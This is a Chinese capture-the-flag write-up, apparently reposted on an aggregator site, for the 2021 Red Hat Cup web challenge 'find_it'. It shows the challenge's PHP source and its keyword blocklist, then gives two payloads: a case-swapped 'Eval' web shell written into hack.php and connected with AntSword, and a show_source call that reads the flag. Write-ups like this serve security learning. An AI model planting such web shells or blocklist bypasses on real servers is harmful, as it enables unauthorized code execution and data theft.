[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it相关的知识,希望对你有一定的参考价值。

[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it

看群里说CTFHub上复现了, 我来看看

本来想按照红帽杯的套路来试一下,发现phpinfo里莫得flag了

只能想想其他办法咯

<?php

#Really easy...

$file=fopen("flag.php","r") or die("Unable 2 open!");

$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));


$hack=fopen("hack.php","w") or die("Unable 2 open");

$a=$_GET['code'];

if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\\~|\\^|\\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){
	die("you die");
}
if(strlen($a)>33){
	die("nonono.");
}
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);

fclose($file);
fclose($hack);
?>

preg_match()过滤了eval但是!!!!!

Eval它没ban

所以我们可以写’大’马

构造payload:

/?code=<?php%20@Eval($_POST['aaa']);?>

蚁剑连马

拿到flag:

但是作为菜鸡

我还是要重新思考一下这道题的思路:

代码中有几个函数需要注意一下

比如fopen(),fwrite(),fread()

fread() 函数读取文件
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));

也就是说,这里已经读到了flag

$a=$_GET['code'];
fwrite($hack,$a);
fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
这里又都写到了hack.php

所以也就是说,我们再绕通配符写马的时候,flag也被传进了hack.php中

但是为什么看不到呢(具体我也不知道,知道的大哥哥可以告诉我学习一下)

但是我想到了另外一个函数show_source()

show_source() 函数对文件进行语法高亮显示。

随机构造payload:

/?code=<?php show_source(__FILE__);?>
也没有被ban的项,正常传入

然后访问hack.php

flag他就出来了。。。。

同时还有我传入的payload

搞一波骚操作!

所以,今天又学到了新姿势~~~~

以上是关于[CTFHub] 2021-第四届红帽杯网络安全大赛-Web-find_it的主要内容,如果未能解决你的问题,请参考以下文章

2021第四届红帽杯网络安全大赛-线上赛Writeup

第四届红帽杯网络安全大赛 Web 部分writeup

第四届红帽杯网络安全大赛 Web 部分writeup

第二届“祥云杯”网络安全大赛暨吉林省第四届大学生网络安全大赛 WriteUp 2021年祥云杯misc

红帽杯2021 Cryptography

红帽杯2021 Misc